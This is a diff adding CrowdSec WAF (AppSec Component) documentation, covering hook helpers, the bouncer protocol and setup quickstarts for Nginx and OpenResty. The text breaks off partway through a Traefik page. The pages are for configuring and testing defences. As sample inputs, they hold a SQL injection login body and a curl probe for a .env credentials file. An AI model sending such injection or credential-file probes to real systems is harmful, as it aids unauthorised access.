the named out-of-band rule | +| `RemoveOutBandRuleByTag` | `func(tag str)` | Disable the out-of-band rule identified by the tag (multiple rules can have the same tag) | +| `RemoveOutBandRuleByID` | `func(id int)` | Disable the out-of-band rule identified by the ID | +| `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | +| `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase | +| `SetRemediationByTag` | `func(tag str, remediation string)` | Change the remediation of the in-band rule identified by the tag (multiple rules can have the same tag) | +| `SetRemediationByID` | `func(id int, remediation string)` | Change the remediation of the in-band rule identified by the ID | +| `SetRemediationByName` | `func(name str, remediation string)` | Change the remediation of the in-band rule identified by the name | +| `req` | `http.Request` | Original HTTP request received by the remediation component | + +#### Example + +```yaml +name: crowdsecurity/my-appsec-config +default_remediation: ban +inband_rules: + - crowdsecurity/base-config + - crowdsecurity/vpatch-* +pre_eval: + - filter: IsInBand == true && req.RemoteAddr == "192.168.1.1" + apply: + - RemoveInBandRuleByName("my_rule") +``` + +### `post_eval` + +This hook is mostly intended for debugging or threat-hunting purposes. + +#### Available helpers +| Helper Name | Type | Description | +| ------------- | -------------- | ------------------------------------------------------------ | +| `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | +| `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase | +| `DumpRequest` | `func()` | Dump the request to a file | +| `req` | `http.Request` | Original HTTP request received by the remediation component | + +#### DumpRequest + +In order to make `DumpRequest` write your request to a file, you have to call `DumpRequest().ToJSON()`, which will create a file in the OS temporary directory (eg, `/tmp` on Linux) with the following format: `crowdsec_req_dump_.json`. + +You can configure what is dumped with the following options: + - `DumpRequest().NoFilters()`: Clear any previous filters (ie. dump everything) + - `DumpRequest().WithEmptyHeadersFilters()`: Clear the headers filters, ie. dump all the headers + - `DumpRequest().WithHeadersContentFilter(regexp string)`: Add a filter on the content of the headers, ie. dump only the headers that *do not* match the provided regular expression + - `DumpRequest().WithHeadersNameFilter(regexp string)`: Add a filter on the name of the headers, ie. dump only the headers that *do not* match the provided regular expression + - `DumpRequest().WithNoHeaders()`: Do not dump the request headers + - `DumpRequest().WithHeaders()`: Dump all the request headers (override any previous filter) + - `DumpRequest().WithBody()`: Dump the request body + - `DumpRequest().WithNoBody()`: Do not dump the request body + - `DumpRequest().WithEmptyArgsFilters()`: Clear the query parameters filters, ie. dump all the query parameters + - `DumpRequest().WithArgsContentFilter(regexp string)`: Add a filter on the content of the query parameters, ie. dump only the query parameters that *do not* match the provided regular expression + - `DumpRequest().WithArgsNameFilter(regexp string)`: Add a filter on the name of the query parameters, ie. dump only the query parameters that *do not* match the provided regular expression + +By default, everything is dumped. +All regexps are case-insensitive. + +You can chain the options, for example: +``` +DumpRequest().WithNoBody().WithArgsNameFilter("var1").WithArgsNameFilter("var2").ToJSON() +``` +This will discard the body of the request, remove the query parameters `var1` and `var2` from the dump, and dump everything else. + +#### Example + +```yaml +name: crowdsecurity/my-appsec-config +default_remediation: ban +inband_rules: + - crowdsecurity/base-config + - crowdsecurity/vpatch-* +post_eval: + - filter: IsInBand == true + apply: + - DumpRequest().NoFilters().WithBody().ToJSON() +``` + +### `on_match` + +This hook is intended to be used to change the behavior of the engine after a match (eg, to change the remediation that will be used dynamically). + +#### Available helpers + +| Helper Name | Type | Description | +| ---------------- | -------------------------- | ------------------------------------------------------------------------- | +| `SetRemediation` | `func(remediation string)` | Change the remediation that will be returned to the remediation component | +| `SetReturnCode` | `func(code int)` | Change the HTTP code that will be returned to the remediation component | +| `CancelAlert` | `func()` | Prevent the Application Security Component to create a crowdsec alert | +| `SendAlert` | `func()` | Force the Application Security Component to create a crowdsec alert | +| `CancelEvent` | `func()` | Prevent the Application Security Component to create a crowdsec event | +| `SendEvent` | `func()` | Force the Application Security Component to create a crowdsec event | +| `DumpRequest` | `func()` | Dump the request to a file (see previous section for detailed usage) | +| `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | +| `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase | +| `evt` | `types.Event` | [The event that has been generated](/docs/expr/event.md#appsec-helpers) by the Application Security Component | +| `req` | `http.Request` | Original HTTP request received by the remediation component | + +#### Example + +```yaml +name: crowdsecurity/my-appsec-config +default_remediation: ban +inband_rules: + - crowdsecurity/base-config + - crowdsecurity/vpatch-* +post_eval: + - filter: IsInBand == true && req.RemoteAddr == "192.168.1.1" + apply: + - CancelAlert() + - CancelEvent() + - filter: | + any( evt.Appsec.MatchedRules, #.name == "crowdsecurity/vpatch-env-access") and + req.RemoteAddr = "192.168.1.1" + apply: + - SetRemediation("allow") + - filter: evt.Appsec.MatchedRules.GetURI() contains "/foobar/" + apply: + - SetRemediation("allow") +``` + +## Detailed Helpers Information + +### `SetRemediation*` + +When using `SetRemediation*` helpers, the only special value is `allow`: the remediation component won't block the request. +Any other values (including `ban` and `captcha`) are transmitted as-is to the remediation component. + + + +### `req` object + +The `pre_eval`, `on_match` and `post_eval` hooks have access to a `req` variable that represents the HTTP request that was forwarded to the appsec. + +It's a Go [http.Request](https://pkg.go.dev/net/http#Request) object, so you can directly access all the details about the request. + +For example: + - To get the requested URI: `req.URL.Path` + - To get the client IP: `req.RemoteAddr` + - To get the HTTP method: `req.Method` + - To get the FQDN: `req.URL.Host` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/intro.md new file mode 100644 index 000000000..aea72dc98 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/intro.md @@ -0,0 +1,78 @@ +--- +id: intro +title: AppSec Component - CrowdSec WAF +sidebar_position: 1 +--- + +## Introduction + + + +Meet the Crowdsec **Application Security Component** (AKA : **AppSec Component**), a new capability for advanced application security turning your CrowdSec install into a full fledged **WAF**. + +The **AppSec Component** offers: + +- Low-effort **virtual patching** capabilities. +- Support for your legacy **ModSecurity** rules. +- Combining classic WAF benefits with advanced CrowdSec features for otherwise difficult **advanced behavior detection**. +- **Full integration** with the Crowdsec software stack, including the console and remediation components. + + + +This component capitalizes on existing remediation functions in web servers (such as Nginx, Traefik, Haproxy, etc.) to provide web application firewall capabilities. + +![appsec-global](/img/appsec-global.svg) + +1. The Web Server receives the HTTP request +2. The HTTP Request is intercepted and passed to the CrowdSec Security Engine via [the HTTP API](appsec/protocol.md) +3. The Security Engine answers to the Web Server once the Appsec inband rules have been processed. +4. Based on the [Security Engine answer](appsec/protocol.md#response-code), the Web Server either blocks the HTTP Request or processes it as usual + +## Inband Rules and Out-Of-Band Rules + +The AppSec component relies on rules to inspect HTTP Requests: + +- Inband rules are meant to interrupt request processing +- Out-Of-Band rules are non-blocking and are evaluated asynchronously + +### Inband rule processing + +The security engine first evaluates the inband rules, designed to identify and block specific requests. +Once these rules are evaluated, a response is relayed to the remediation component. + +This leads to two possible outcomes: + +1. If an inband rule is triggered, the remediation component will answer with a 403 or a captcha request to the user of the incriminated request, stopping the request processing. +2. Otherwise, the request will be normally processed + +### Out-of-band rules processing + +In the background, the security engine will then evaluate the out-of-band rules. These rules do not impact performance or response time, as they are evaluated after the AppSec Component instructs the webserver to continue or stop processing the request. + +They are usually meant to detect unwanted behaviors that exhibit a repetitive aspect (ie. Applicative Spam, Resource enumeration, Scalping etc.). When those rules trigger, they emit an event is processed by the Security Engine in the same way a log line is. + +## Post processing + +When a request triggers one or more rules, either in the inband section (blocking) or out-of-band (non-blocking), several things happen: + +- Inband (blocking) rules will appear in your `cscli alerts list` (and thus in your [console dashboard](https://app.crowdsec.net)). +- Inband and Out-Of-Band rules will trigger an internal crowdsec event that can be treated as any log lines. + +This is meant to allow for scenarios to exploit the WAF rules events, such as blocking for a longer time an IP that clearly engages in malevolent activities, triggering several virtual patching rules. + +## Next steps + +You can follow our quick start guides depending on your web server: + +- [Nginx/OpenResty](/appsec/quickstart/nginxopenresty.mdx) +- [Traefik](/appsec/quickstart/traefik.mdx) +- [WordPress](/appsec/quickstart/wordpress.mdx) +- [CrowdSec WAF with Nginx Reverse Proxy](/u/user_guides/waf_rp_howto) + +Or consider learning more about the AppSec capabilities: + +- **Rules**: [How to read, write and debug rules](/appsec/rules_syntax.md) +- **Scenarios**: [How to create scenarios that leverage the AppSec Component events](/appsec/alerts_and_scenarios.md) +- **Hooks**: [To customise behavior of the AppSec at runtime](/appsec/hooks.md) +- **Troubleshoot**: [How to troubleshoot the behavior of the AppSec Component](/appsec/troubleshooting.md) +- **AppSec Protocol**: [if you're maintaining or creating a remedation component and want to add the AppSec capabilities](/appsec/protocol.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/protocol.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/protocol.md new file mode 100644 index 000000000..1b1d77c14 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/protocol.md @@ -0,0 +1,107 @@ +--- +id: protocol +title: WAF / Bouncer Communication Protocol +sidebar_position: 5 +--- + +:::warning + +This section is only relevant if you want to add support for the CrowdSec application security component in your own remediation component or directly at the application level. + +::: + +## Introduction + +To interact with the CrowdSec application security component, a protocol need to be respected. + +The application security component expect some headers to be present in the HTTP request (in addition to the original HTTP headers and body) and according to the result, the application security component will respond differently. + +This documentation can be useful in case you want to write your own remediation component that interact with the CrowdSec application security component, or if you want to improve your existing one. + +## HTTP Headers + +To work with the CrowdSec application security component, some HTTP headers are require, in addition to the other HTTP headers and the body of the original request. + +| Header Name | Description | +| -------------------------------- | ------------------------------------------------------------------------------------- | +| `X-Crowdsec-Appsec-Ip` | The Real IP address of the original HTTP request | +| `X-Crowdsec-Appsec-Uri` | The URI of the original HTTP request | +| `X-Crowdsec-Appsec-Host` | The Host of the original HTTP request | +| `X-Crowdsec-Appsec-Verb` | The Method of the original HTTP request | +| `X-Crowdsec-Appsec-Api-Key` | The API Key to communicate with the CrowdSec application security component | +| `X-Crowdsec-Appsec-User-Agent` | The User-Agent of the original HTTP request | +| `X-Crowdsec-Appsec-Http-Version` | The HTTP version used by the original HTTP request (in integer form `10`, `11`, ...) | + +:::note + +All requests forwarded by the remediation component must be sent via a `GET` request. However, if the HTTP request contains a body, a `POST` request must be sent to the Application Security Component. + +::: + +### Example + +For this example: + +- A `POST` HTTP request has been made by the IP `192.168.1.1` to a website on `example.com`. +- The Application Security Component listen on `http://localhost:4241/`. + +
+Original HTTP Request + +``` +POST /login HTTP/1.1 +Host: example.com +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded +Content-Length: 73 +Connection: keep-alive +Upgrade-Insecure-Requests: 1 + +username=admin' OR '1'='1' -- &password=password + +``` + +
+ +
+HTTP Request sent to the application security component + +``` +POST / HTTP/1.1 +Host: localhost:4241 +X-Crowdsec-Appsec-ip: 192.168.1.1 +X-Crowdsec-Appsec-Uri: /login +X-Crowdsec-Appsec-Host: example.com +X-Crowdsec-Appsec-Verb: POST +X-Crowdsec-Appsec-Api-Key: +X-Crowdsec-Appsec-User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 +User-Agent: lua-resty-http/0.17.1 (Lua) ngx_lua/10026 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded +Content-Length: 73 +Connection: keep-alive +Upgrade-Insecure-Requests: 1 + +username=admin' OR '1'='1' -- &password=password + +``` + +
+ +## Response Code + +According to the result of the processing of the HTTP request, the application security component will respond with a different HTTP code and body. + +| HTTP Code | Description | Body | +| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | +| `200` | The HTTP request is allowed | `{"action" : "allow"}` | +| `403` | The HTTP request triggered one or more application security component rules | `{"action" : "ban", "http_status": 403}` or `{"action" : "captcha", "http_status": 403}` | +| `500` | An error occurred in the application security component. The remediation component must support a `APPSEC_FAILURE_ACTION` parameter to handle this case | `null` | +| `401` | The remediation component is not authenticated. It must use the same API Key that was generated to pull the local API request | `null` | + +In case of a `403` response, the body will contain the action to take and the HTTP status code to return to the client. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/general.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/general.mdx new file mode 100644 index 000000000..e348e6dfd --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/general.mdx @@ -0,0 +1,206 @@ +--- +id: general_setup +title: General Setup +--- + + + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; +import UnderlineTooltip from '@site/src/components/underline-tooltip'; + + +# CrowdSec WAF General Setup + +This guide covers the core CrowdSec AppSec Component setup that applies to all web servers and reverse proxies. After completing these steps, you'll need to configure your specific remediation component (bouncer) to forward requests to the AppSec Component. + +## Prerequisites + +- **CrowdSec Security Engine** (>= 1.5.6) installed and running +- A compatible remediation component (bouncer) for your web server or reverse proxy + +## AppSec Component Setup + +AppSec Setup is done in two simple steps: +- Downloading rules and configuration's Collections +- Setting AppSec as a new Acquisition datasource + +The following sections will guide you through the default setup. + +### Collection Installation + +Install the essential AppSec collections that provide virtual patching rules and generic attack detection: + +```bash +sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules +``` + +These collections include: +- **Virtual Patching Rules**: Protection against known vulnerabilities (CVEs) +- **Generic Attack Detection**: Common web attack patterns +- **AppSec Configuration**: Default configuration linking rules together +- **CrowdSec Parsers & Scenarios**: For processing AppSec events and creating alerts + +### Acquisition Configuration + +Configure CrowdSec to expose the AppSec Component by creating an acquisition file: + +1. Create the acquisition directory (if it doesn't exist): + ```bash + sudo mkdir -p /etc/crowdsec/acquis.d/ + ``` + +2. Create the AppSec acquisition configuration: + ```bash + sudo cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF + appsec_config: crowdsecurity/appsec-default + labels: + type: appsec + listen_addr: 127.0.0.1:7422 + source: appsec + name: myAppSecComponent + EOF + ``` + +**Configuration explained:** +- `appsec_config`: Uses the default configuration from the installed collections +- `listen_addr`: The IP and port where the AppSec Component will listen (default: 127.0.0.1:7422) +- `source`: Identifies this as an AppSec data source +- `name`: A friendly name for your AppSec component + +:::warning Security Note +Do not expose the AppSec Component to the internet. It should only be accessible from your web server or reverse proxy. +::: + +### Start the AppSec Component + +Restart CrowdSec to activate the AppSec Component: + +```bash +sudo systemctl restart crowdsec +``` + +## Testing WAF Component + +### Testing Configuration + +Check that the AppSec Component is running: + + + + + sudo netstat -tlpn | grep 7422 + + + + sudo ss -tlpn | grep 7422 + + + +
+ +Output example + +```bash +tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec +``` + +:::note +The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running. +::: + +
+ +Check CrowdSec logs for successful startup: +```bash +sudo tail -f /var/log/crowdsec.log +``` + +Look for messages like: +``` +INFO[...] Starting Appsec server on 127.0.0.1:7422/ +INFO[...] Appsec Runner ready to process event +``` + + +## Next Steps + +Now that the AppSec Component is configured and running, you need to: + +1. **Configure your remediation component** to forward requests to `http://127.0.0.1:7422` +2. **Test the setup** [by triggering a rule](/appsec/quickstart/general.mdx#testing-detection) +3. **Monitor alerts** with `sudo cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net) + +For specific remediation component configuration, see: +- [Nginx/OpenResty Setup](/appsec/quickstart/nginxopenresty.mdx) +- [Traefik Setup](/appsec/quickstart/traefik.mdx) +- [WordPress Setup](/appsec/quickstart/wordpress.mdx) +- [Check the hub for other remediation components supporting AppSec](https://app.crowdsec.net/hub/remediation-components) + +### Testing Detection + +If you've enabled an AppSec-capable bouncer with CrowdSec WAF, you can trigger the crowdsecurity/appsec-generic-test dummy scenario. +This scenario will not lead to decision but is a great way to ensure that your setup is functional. + +We'll trigger the dummy scenario crowdsecurity/appsec-generic-test by accessing a probe path on your web server. + +1️⃣ Access your service URL with this path: `/crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl` + +```bash +curl -I https:///crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl +``` + +2️⃣ Confirm the alert has triggered for the scenario crowdsecurity/appsec-generic-test + +```bash +sudo cscli alerts list | grep crowdsecurity/appsec-generic-test +``` + +3️⃣ The alert will also appear in the console alerts + +![appsec-generic-test console view](/img/appsec-generic-test-console.png) + + +:::info +This scenario can only be triggered again after a 1-minute delay. +::: + +## Optional: Advanced Configuration + +### Multiple AppSec Configurations + +You can [load multiple AppSec configurations](/appsec/vpatch_crs.md) for different rule sets: + +```yaml +# /etc/crowdsec/acquis.d/appsec.yaml +appsec_configs: + - crowdsecurity/appsec-default # Virtual patching rules (in-band) + - crowdsecurity/crs # OWASP CRS rules (out-of-band) +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +name: myAppSecComponent +``` + +### Custom Port Configuration + +To use a different port, update the `listen_addr` in your acquisition file and ensure your remediation component points to the same address. + +## Troubleshooting + +If the AppSec Component fails to start: + +1. **Check port availability**: Ensure port 7422 isn't already in use +2. **Verify collections**: Run `sudo cscli collections list` to confirm installation +3. **Check configuration syntax**: Validate your `appsec.yaml` file +4. **Review logs**: Check `/var/log/crowdsec.log` for error messages + +For detailed troubleshooting, see the [AppSec Troubleshooting Guide](/appsec/troubleshooting). \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginxopenresty.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginxopenresty.mdx new file mode 100644 index 000000000..53c75604c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginxopenresty.mdx @@ -0,0 +1,296 @@ +--- +id: nginxopenresty +title: QuickStart - Nginx / OpenResty +--- + + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; +import UnderlineTooltip from '@site/src/components/underline-tooltip'; + +# CrowdSec WAF QuickStart for Nginx/OpenResty + +## Objectives + +The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [Nginx](https://nginx.com) or [OpenResty](https://openresty.org/en/). + +We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). + +Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/). + +## Pre-requisites + +1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding. + +2. It's assumed that you have already installed: + - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md). + - One of the supported web servers for this guide: + - Nginx **[Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [QuickStart guide](/u/bouncers/nginx). + - OpenResty **[Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [QuickStart guide](/u/bouncers/openresty). + + This component intercepts HTTP requests at the webserver or reverse-proxy level and forwards them to the AppSec Component for analysis and action. + +:::info +The reason we provide Nginx and OpenResty in a single guide is that OpenResty is a web server based on Nginx just the configuration paths are different +::: + +## AppSec Component Setup + +### Collection installation + +To begin setting up the AppSec Component, the initial step is to install a relevant set of rules. + +We will utilize the [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities. + +This collection is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current. +Furthermore we also install the [`crowdsecurity/appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides some protection in cases where specific scenarios for vulnerabilities do not exist (yet). + +On the machine where the Security Engine is installed, just execute the following command: + +:::info +You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) +::: + +``` +sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules +``` + +Executing this command will install the following items: + +- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped +- The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration) links together a set of rules to provide a coherent set +- The CrowdSec Parser and CrowdSec Scenario(s) bans for a longer duration repeating offenders + +### Setup the Acquisition + +Having installed the required components, it's time to configure the CrowdSec Acquisition to expose the Application Security Component to our web server. This configuration allows our Nginx/OpenResty server to send requests to the AppSec Component for evaluation and decision-making. + +Steps: + 1. Create the `/etc/crowdsec/acquis.d/` directory (if it doesn't exist on your machine) + ``` + mkdir -p /etc/crowdsec/acquis.d/ + ``` + 2. Create a file `/etc/crowdsec/acquis.d/appsec.yaml` with the following content: + ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" + appsec_config: crowdsecurity/appsec-default + labels: + type: appsec + listen_addr: 127.0.0.1:7422 + source: appsec + ``` + +The two important directives in this configuration file are: + + - `appsec_config` is the name of the [*AppSec Configuration*](appsec/configuration.md#appsec-configuration) that was included in the Collection we just installed. + - the `listen_addr` is the IP and port the AppSec Component will listen to. + +:::warning +We do not recommend exposing the AppSec Component to the internet. It should only be accessible from the web server or reverse proxy. +::: + +:::info +You can find more about the [supported options for the acquisition here](/log_processor/data_sources/appsec.md) +::: + +You can now restart CrowdSec: + +```bash +sudo systemctl restart crowdsec +``` + +#### Testing the AppSec Component + +##### Verify the AppSec Component is listening + +To verify that the AppSec Component is running correctly, we can first check that the port `7422` is open and listening: + +:::note +If you have changed the port in the configuration file, replace `7422` with the new port number. +::: + + + + + sudo netstat -tlpn | grep 7422 + + + + sudo ss -tlpn | grep 7422 + + + +
+ +Output example + +```bash +tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 12345/crowdsec +``` + +:::note +The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running. +::: + +
+ +##### (Optional) Manually testing the AppSec Component with `curl` + +
+ Expand for short guide + +Before we proceed with configuring the Remediation Component, let's verify that all our current setups are functioning correctly. + +1. Create a Remediation Component (Bouncer) API Key: + +```bash +sudo cscli bouncers add test_waf -k this_is_a_bad_password +API key for 'test_waf': + + this_is_a_bad_password + +Please keep this key since you will not be able to retrieve it! +``` + +2. Emit a legitimate request to the AppSec Component: + +```bash +curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' +``` + +Which will give us an answer such as: + +```bash +HTTP/1.1 200 OK +Date: Tue, 30 Jan 2024 15:43:50 GMT +Content-Length: 36 +Content-Type: text/plain; charset=utf-8 + +{"action":"allow","http_status":200} +``` + +3. Emit a malevolent request to the Appsec Component: + +:::info +We're trying to access a `.env` file, a [common way to get access to some credentials forgotten by a developer.](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) +::: + +```bash +curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /.env' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' + +``` + +Our request is detected and blocked by the AppSec Component: + +```bash +HTTP/1.1 403 Forbidden +Date: Tue, 30 Jan 2024 15:57:08 GMT +Content-Length: 34 +Content-Type: text/plain; charset=utf-8 + +{"action":"ban","http_status":403} +``` + +Let's now delete our test API Key: + +```bash +sudo cscli bouncers delete test_waf +``` + +
+ +## Remediation Component Setup + +Since our AppSec Component is active and listening, we can now configure the Remediation Component to forward requests to it. + +To setup forwarding of requests in the remediation component, we'll modify its configuration file and append the following line: + +- `Nginx`: `/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf` +- `OpenResty`: `/etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf` + +```bash +APPSEC_URL=http://127.0.0.1:7422 +``` + +This instructs the remediation component to communicate with the AppSec Component at `http://127.0.0.1:7422`. + +Once configured, all incoming HTTP requests will be sent there for analysis. The snippet above assumes that the AppSec Component is running on the same machine. + +We can now restart the service: + +```bash +sudo systemctl restart nginx +``` + +## Testing the AppSec Component + Remediation Component + +:::note +We're assuming the web server is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case. +You can also look at the [General WAF Testing](/docs/appsec/quickstart/general.mdx#testing-waf-component) +::: + + + +if you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page: + +![appsec-denied](/img/appsec_denied.png) + +We can also look at the metrics from `cscli metrics show appsec` it will display: + - the number of requests processed by the AppSec Component + - Individual rule matches + +
+ Example Output + +```bash title="sudo cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 127.0.0.1:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '127.0.0.1:7422/' Rules Metrics: +╭─────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-env-access │ 1 │ +╰─────────────────────────────────┴───────────╯ +``` + +
+ +### Explanation + +What happened in the test that we just did is: + + 1. We did a request (`localhost/.env`) to our local webserver + 2. Thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422` + 3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request + 4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) + 5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked + 6. The web server then presented us with the default "request blocked" page. + + ## Integration with the console + +If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/u/getting_started/post_installation/console). + +Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console: + +![appsec-console](/img/appsec_console.png) + + +## Next steps + +You are now running the AppSec Component on your Crowdsec Security Engine, congrats! + +As the next steps, you can: + - [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case + - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute + - Take a look at [the benchmarks](/appsec/benchmark.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/traefik.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/traefik.mdx new file mode 100644 index 000000000..926707cac --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/traefik.mdx @@ -0,0 +1,268 @@ +--- +id: traefik +title: QuickStart - Traefik +--- + +import FormattedTabs from '@site/src/components/formatted-tabs'; +import UnderlineTooltip from '@site/src/components/underline-tooltip'; + +# CrowdSec WAF QuickStart for Traefik + +## Objectives + +The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [Traefik](https://doc.traefik.io/traefik/) reverse proxy. + +We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). + +Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/). + +## Pre-requisites + +1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding. + +2. It's assumed that you have already installed: + - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a Acquisition. + - Traefik Plugin **[Remediation Component](/u/bouncers/intro)**: Thanks to [maxlerebourg](https://github.com/maxlerebourg) and team they created a [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) that allows you to block requests directly from Traefik. + +:::info +Prior to starting the guide ensure you are using the [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) and **NOT** the older [traefik-crowdsec-bouncer](https://app.crowdsec.net/hub/author/fbonalair/remediation-components/traefik-crowdsec-bouncer) as it hasnt received updates to use the new AppSec Component. +::: + +:::warning +This guide will assume you already have a working Traefik setup using the Traefik Plugin. If you need help setting up Traefik, refer to the [official documentation](https://doc.traefik.io/traefik/) and the [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) documentation. +::: + +## AppSec Component Setup + +### Collection installation + +To begin setting up the AppSec Component, the initial step is to install a relevant set of rules. + +We will utilize the 